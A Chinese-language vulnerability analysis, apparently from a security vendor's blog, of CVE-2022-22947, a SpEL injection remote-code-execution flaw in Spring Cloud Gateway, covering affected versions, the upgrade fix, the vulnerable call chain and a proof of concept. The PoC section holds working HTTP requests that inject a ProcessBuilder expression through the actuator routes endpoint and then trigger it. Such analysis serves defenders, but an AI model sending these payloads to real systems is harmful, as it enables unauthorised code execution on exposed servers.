CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

漏洞概要

Spring Cloud Gateway 是Spring Cloud 生态中的API网关,包含限流、过滤等API治理功能。

Spring官方在2022年3月1日发布新版本修复了Spring Cloud Gateway中的一处代码注入漏洞。当actuator端点开启或暴露时,可以通过http请求修改路由,路由中包含的恶意filter参数会经过SPEL表达式解析,从而导致远程主机执行任意代码。

  • 影响范围:

org.springframework.cloud:spring-cloud-gateway-server@[3.1.0, 3.1.1)

org.springframework.cloud:spring-cloud-gateway-server@[2.2.6.RELEASE, 3.0.7)

  • 修复方案:

将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.1.1 及以上版本

将组件 org.springframework.cloud:spring-cloud-gateway-server 升级至 3.0.7 及以上版本

  • 漏洞链接:https://www.oscs1024.com/hd/MPS-2022-1077

以下内容来自公众号《安全日记》 Erikten 对该漏洞的分析:

0x00 环境搭建

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析,直接去 GitHub 上下载即可。

git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0

0x01 漏洞分析

首先这个漏洞的本质就是一个Spel表达式注入。漏洞的触发点位于org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看diff点可以发现在安全版本中官方将StandardEvaluationContext更换为了GatewayEvaluationContext去执行Spel表达式

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

我们回溯一下getValue这个方法,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType这个枚举中的DEFAULT被调用

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

那么就去跟一下哪里调了ShortcutType.DEFAULT,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType调用了它

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

最终在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties对filter属性进行解析,最后进入getValue执行SPEL表达式造成SPEL表达式注入。

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

继续向上,来到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,根据这个方法的名字大概也能猜出它的做作用,就是添加路由filters

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

继续重复之前的操作(向上回溯),会找到这么一条调用链

RouteDefinitionRouteLocator#loadGatewayFilters ->
RouteDefinitionRouteLocator#getFilters -> 
RouteDefinitionRouteLocator#convertToRoute -> 
RouteDefinitionRouteLocator#getRoutes -> 
GatewayControllerEndpoint#routes
CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

整体的攻击流程大致了解了,就是添加路由filter然后访问,通过getValue触发Spel注入最终完成RCE,那么怎么添加路由呢?我们去看下手册https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

来到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,可以看到POST的请求体对应的内容

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

Filters内容

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

0x02 构造PoC

首先创建路由filter

POST /actuator/gateway/routes/test HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 212

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "any",
      "value": "#{new ProcessBuilder("calc").start()}"
    }
  }],
   "uri": "http://test.com"
}

发包可以发现payload已经注入进filter了

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

接下来刷新一下

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2

首先在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties遍历filters属性

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

接着通过org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize调getValue解析属性

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

造成Spel注入

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

最终解锁计算器

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

0x03 参考链接

  • https://www.cnblogs.com/bitterz/p/15964852.html
  • https://xz.aliyun.com/t/11004#toc-1

免费情报订阅 & 代码安全检测

墨菲安全是一家为您提供专业的软件供应链安全管理的科技公司,核心团队来自百度、华为、乌云等企业,公司为客户提供完整的软件供应链安全管理平台,围绕SBOM提供软件全生命周期的安全管理,平台能力包括软件成分分析、源安全管理、容器镜像检测、漏洞情报预警及商业软件供应链准入评估等多个产品。为客户提供从供应链资产识别管理、风险检测、安全控制、一键修复的完整控制能力。同时产品可以极低成本的和现有开发流程中的各种工具一键打通,包括 IDE、Gitlab、Bitbucket、Jenkins、Harbor、Nexus 等数十种工具无缝集成。

代码安全检测: https://www.murphysec.com/?sf=1vi9zs

情报订阅: https://www.oscs1024.com/cm/?sf=1vi9zs

漏洞库:https://www.oscs1024.com/hl/?sf=1vi9zs

CVE-2022-22947 SpringCloud GateWay SPEL RCE 漏洞分析

发布者:墨菲安全,转发请注明出处:https://www.murphysec.com/blog/vulnerability-analysis/4790.html

(0)
上一篇 2023年2月20日 11:39
下一篇 2023年2月23日 10:52

相关推荐

  • Django Trunc 和 Extract 方法存在 SQL 注入漏洞(CVE-2022-34265)

    漏洞简述 Django是一个由Python语言编写的开源Web应用框架,github上star为64.9K。 7月4日,Django官方修复了一个SQL注入漏洞。如果Trunc()的kind参数和Extract()的lookup_name参数没有进行安全过滤,可能会造成SQL注入的风险。 漏洞分析 以Django 4.0版本为例,可以通过官方提供的测试用例进…

    2023年1月4日
  • Ghost 博客系统后台代码执行漏洞分析

    漏洞简述 Ghost 是以Node.js语言开发的一款开源博客程序,在Github上其star为超过4万。 漏洞分析 漏洞因为需要后台权限,有一定利用条件,有趣的点在于Ghost的RCE漏洞是由于moment.js下的路径遍历和文件包含漏洞,再加上Ghost中的文件上传和指定locale功能。moment.js中的文件包含漏洞,在一般情况下可能影响较小,但结…

    2023年1月4日
  • Fastjson官方再次披露高危漏洞,包括rocketmq、jeecg-boot等近15%的github开源项目受影响

    2022年5月23日,fastjson 官方发布安全通报,fastjson <= 1.2.80 存在反序列化任意代码执行漏洞,在特定条件下可绕过默认autoType关闭限制,可能会导致远程服务器被攻击,风险影响较大。OSCS开源软件社区对此漏洞进行收录,漏洞信息如下: 漏洞评级:高危 影响组件:com.alibaba:fastjson 影响版本:&lt…

    漏洞分析 2023年1月4日
  • Confluence WIKI OGNL注入漏洞(CVE-2022-26134)

    简述 6月4日,墨菲安全实验室监测发现Atlassian修复了Confluence Server 和 Confluence Data Center 中的OGNL注入漏洞。 Atlassian Confluence是企业常用的wiki系统,攻击者无需认证可利用漏洞在Confluence Server 或 Confluence Data Center 系统中执行…

    2023年1月4日
  • Onedev v7.4.14 路径遍历漏洞分析(CVE-2022-38301)

    漏洞简述 OneDev 是开源的一体化轻量DevOps平台,在OneDev 7.4.14及以前版本中存在路径遍历漏洞,具有项目管理权限的攻击者可以将恶意 jar 文件上传到 lib 目录,覆盖原有jar包,攻击者可利用此漏洞在服务器中写入任意文件或远程执行恶意代码。 漏洞分析 问题代码分析 项目管理员可以在 OneDev 的`build`模块对自己的一个项目…

    2023年1月9日

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

联系我们

400-180-9568

邮件:hi@murphysec.com

工作时间:周一至周五,10:00-19:00,节假日休息

关注公众号

20230105-100741